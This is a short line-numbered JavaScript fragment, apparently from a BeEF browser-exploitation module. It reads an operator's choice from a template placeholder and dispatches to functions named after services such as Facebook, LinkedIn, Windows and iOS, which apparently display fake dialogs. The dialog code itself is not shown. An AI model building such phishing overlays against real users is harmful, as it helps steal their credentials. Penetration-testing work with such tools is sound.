527
// Retrieve the chosen div option from BeEF and display
528
var choice = "<%= @choice %>";
529
switch (choice) {
530
case "Facebook":
531
facebook(); break;
532
case "LinkedIn":
533
linkedin(); break;
534
case "Windows":
535
windows(); break;
536
case "YouTube":
537
youtube(); break;
538
case "Yammer":
539
yammer(); break;
540
case "IOS":
541
ios(); break;
542
default:
543
generic(); break;
544
}
545
546
});
547
548